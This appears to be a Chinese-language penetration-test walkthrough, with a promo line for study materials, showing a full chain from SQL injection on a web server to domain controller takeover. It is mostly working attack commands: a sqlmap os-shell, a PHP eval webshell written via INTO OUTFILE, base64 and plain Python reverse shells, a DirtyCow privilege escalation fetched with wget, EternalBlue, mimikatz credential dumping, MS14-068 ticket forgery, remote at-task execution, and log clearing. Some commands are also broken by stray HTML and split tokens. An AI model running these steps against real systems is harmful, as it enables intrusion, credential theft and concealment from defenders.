通过Kali Linux拿到域控权限
2021最新整理网络安全渗透测试/安全学习(全套视频、大厂面经、精品手册、必备工具包)一>关注我,私信回复"资料"获取<一
使用dirbuster工具扫描网站根目录
设置kali默认字典文件
/usr/share/wordlists/dirbuster/directorylistlowercase2.3small.txt
扫描获得phpinfo.php
得到网站绝对路径信息
通过测试发现存在sql整型注入报错情况,进一步获取webshell
通过sqlmap测试发现存在sql注入
sqlmap ‐u "http://IP:8888/newsshow.php?cid=4&id=19*" ‐‐dbms MySQL ‐v3
这里有绝对路径的情况下,可直接写入webshell。这里使用sqlmap osshell的功能
#通过sqlmap获取命令执行会话
sqlmap ‐u “http://IP/newsshow.php?cid=4&id=19*” ‐‐dbms MYSQL ‐v3 ‐‐os‐ shell`
http://IP/newsshow.php?cid=4&id=19 and 1=2 UNION SELECT 1,2,3,4,5,6,7,8,0x3c3f706870206576616c28245f504f53545b2770617373275d29 3f3e,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26 into outfile '/var/www/html/webshell.php'
为了更好做后续操作,进行反弹shell
os‐shell> uname ‐a
os‐shell> whereis Python/ target=_blank class=infotextkey>Python`
由于网站上为linux默认安装python,可直接生成python反弹脚本
#生成python反弹脚本
msfvenom ‐p
python/meterpreter/reverse_tcp LHOST=IP LPORT=4444 ‐f raw
#msf监听反向连接会话
msfconsole
use exploit/multi/handler
set payload
python/meterpreter/reverse_tcp set LHOST IP
set LPORT 4444
run
#msf监听快速启动
cat py_reverse_tcp.rc
use exploit/multi/handler
set payload
python/meterpreter/reverse_tcp set LHOST 192.168.0.17
set LPORT 4444
exploit
msfconsole ‐r py_reverse_tcp.rc
#在sqlmap os‐shell模式下执行python meterpreter反弹脚本
os‐shell> python ‐c "import base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'UTF‐8')} [sys.version_info[0]] ('aW1wb3J0IHNvY2tldCxzdHJ1Y3QsdGltZQ0KZm9yIHggaW4gcmFuZ2UoMTApOg0KCXRy eToNCgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQ0KCQlzLmNvbm 5lY3QoKCYjMzk7SVAmIzM5Oyw0NDQ0KSkNCgkJYnJlYWsNCglleGNlcHQ6DQoJCXRpbWUu c2xlZXAoNSkNCmw9c3RydWN0LnVucGFjaygmIzM5OyZndDtJJiMzOTsscy5yZWN2KDQpKV swXQ0KZD1zLnJlY3YobCkNCndoaWxlIGxlbihkKSZsdDtsOg0KCWQrPXMucmVjdihsLWxl bihkKSkNCmV4ZWMoZCx7JiMzOTtzJiMzOTs6c30pDQo=')))"
#kali监听会话
root@kali:~# nc ‐lvvp 6666
#在sqlmap os‐shell模式下执行python bash反弹脚本
os‐shell> python ‐c "import os;import pty;import socket;s=socket.socket(socket.AF_.NET,socket.SOCK_STREAM);s.connect((' IP',6666));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.filen o(),2);os.putenv('HISTFILE','/dev/null');pty.spawn('/bin/bash');s.clos e();"`
sqlmap执行:
监听端口返回反弹shell结果:
拿到shell后,尝试提升权限
通过uname a获取当前系统内核版本
根据可已知内核漏洞下载对应的提权程序(该处使用脏牛内核提权)
cd /tmp/ wget ‐‐no‐check‐certificate https://raw.githubusercontent.com/K3vinPlus/sundry/master/DirtyCow/dir ty.c gcc ‐pthread dirty.c ‐o dirty ‐lcrypt ./dirty 123456
获得firefart用户,权限为root
su firefart
切换用户为firefart后,将passwd恢复,避免root用户无法使用
mv /tmp/passwd.bak /etc/passwd
通过查看网卡信息后发现存在内网地址信息
meterpreter自动路由(首选)
meterpreter > run autoroute ‐s 10.0.1.0/24 meterpreter > run autoroute ‐p
由于web服务器第二张网卡无法上网,需进行内网代理
在web服务器的shell下,下载tunnel.nosocket.php文件,做代理流量
1、网络下载 wget ‐‐no‐check‐certificate
https://raw.githubusercontent.com/K3vinPlus/reGeorg/master/tunnel.noso cket.php mv tunnel.nosocket.php /var/www/html/ 2、本地上传 upload /root/reGeorg/tunnel.nosocket.php /var/www/html
可正常访问tunnel.nosocket.php文件
[
Kali上执行reGeorg代理脚本
python reGeorgSocksProxy.py ‐p 9999 ‐u http://IP:8888/tunnel.nosocket.php
修改proxychains配置文件,在末行添加socks信息。
vim /etc/proxychains.conf socks5 127.0.0.1 9999
##msf自带代理设置
setg Proxies socks5:127.0.0.1:9999
使用msf自带端口扫描模块,探测出10.0.1.9和10.0.1.254都存在445、3389端口。
use auxiliary/scanner/portscan/tcp set RHOSTS 10.0.1.1/24 set PORTS 21,22,23,80,389,445,873,1433,1521,2049,2181,2375,3306,3389,4899,5432,5 631,5900,5938,5984,6379,8000,8080,7001,9080,9200,10051,11211,20880,270 17,50070 set THREADS 10 exploit
通过代理方式,使用msf框架扫描内网网段中存在MS17010漏洞主机
root@kali:~# proxychains msfconsole use auxiliary/scanner/smb/smb_ms17_010 set RHOST 10.0.1.0‐254 set threads 10 exploit
通过meterpreter路由方式,background之后使用ms17010攻击模块进行攻击
use exploit/windows/smb/ms17_010_eternalblue set payload windows/x64/meterpreter/bind_tcp set RHOSTS 10.0.1.9 run
meterpreter > sysinfo
加载mimikatz模块
meterpreter > load mimikatz #读取内存中存放的账号密码明文信息 meterpreter > wdigest
meterpreter > run post/windows/gather/enum_logged_on_users
net group "domain controllers" /domain ping dc1.kevin.com
proxychains python ms14‐068.py ‐u liujiafeng@kevin.com ‐s S‐1‐5‐21‐ 4289546598‐4075965387‐827630551‐1111 ‐d 10.0.1.254 ‐p kevin@123
use auxiliary/admin/kerberos/ms14_068_kerberos_checksum set DOMAIN KEVIN.com set USER liujiafeng set PASSWORD kevin@123 set USER_SID S‐1‐5‐21‐4289546598‐4075965387‐827630551‐1111 set RHOST 10.0.1.254
#kali切换目录到loot下将ms14‐068 bin票据复制到物理机 /root/.msf4/loot/ #物理机通过mimikatz转为kirbi文件 mimikatz # kerberos::clist
20191223050146_default_10.0.1.254_windows.kerberos_122860.bin /export
#再将kirbi文件放到kali ticket_converter转换脚本目录下 #将kirbi文件转为ccache python ticket_converter.py 0‐00000000‐liujiafeng@krbtgt‐KEVIN.COM.kirbi TGT_liujiafeng@kevin.com.ccache mv TGT_liujiafeng@kevin.com.ccache /root/pykek/
生成msf监听端口程序
msfvenom ‐p windows/x64/meterpreter/bind_tcp LHOST=10.0.1.254 LPORT=4444 ‐f exe ‐o /root/pykek/test.exe
新建一个msf会话监听正向连接payload
use exploit/multi/handler set payload windows/x64/meterpreter/bind_tcp set RHOST 10.0.1.254
上传利用工具、ms14086黄金票据到win7跳板机上
upload /root/pykek/TGT_liujiafeng@kevin.com.ccache C:/users/kevin upload /usr/share/windows‐resources/mimikatz/x64/mimikatz.exe C:/Users/kevin upload /root/pykek/test.exe c:/users/kevin shell
在win7跳板机上执行
`#清空票据 klist purge
#导入票据
cd c:/users/kevin
mimikatz.exe
kerberos::ptc TGT_liujiafeng@kevin.com.ccache
再通过win7跳板机复制test.exe到域控c盘,并通过at命令添加定时任务执行test.exe
`copy test.exe dc1.kevin.comc$ dir dc1.kevin.comc<pre class=“copy-codeblocks” style=“font-family: Consolas, Menlo, Monaco, “Lucida Console”, “Liberation Mono”, “DejaVu Sans Mono”, “Bitstream Vera Sans Mono”, “Courier New”, monospace; font-size: 15.008px; display: block; position: relative; overflow: visible; color: rgb(34, 34, 34); font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; background-color: rgb(255, 255, 255); text-decoration-style: initial; text-decoration-color: initial;”
net time \dc1.kevin.com at \dc1.kevin.com 15:42:00 c:test.exe
查看当前域控at定时任务
at \dc1.kevin.com
在域控at定时任务执行后,连接域控4444端口
netstat ‐ano |findstr "4444"
结束msf木马进程,删除exe进程
at \dc1.kevin.com 16:23:00 cmd /c del c:test.exe
删除win7工具
cd c:/users/kevin rm TGT_liujiafeng@kevin.com.ccache rm mimikatz.exe
windows删除系统日志
clearev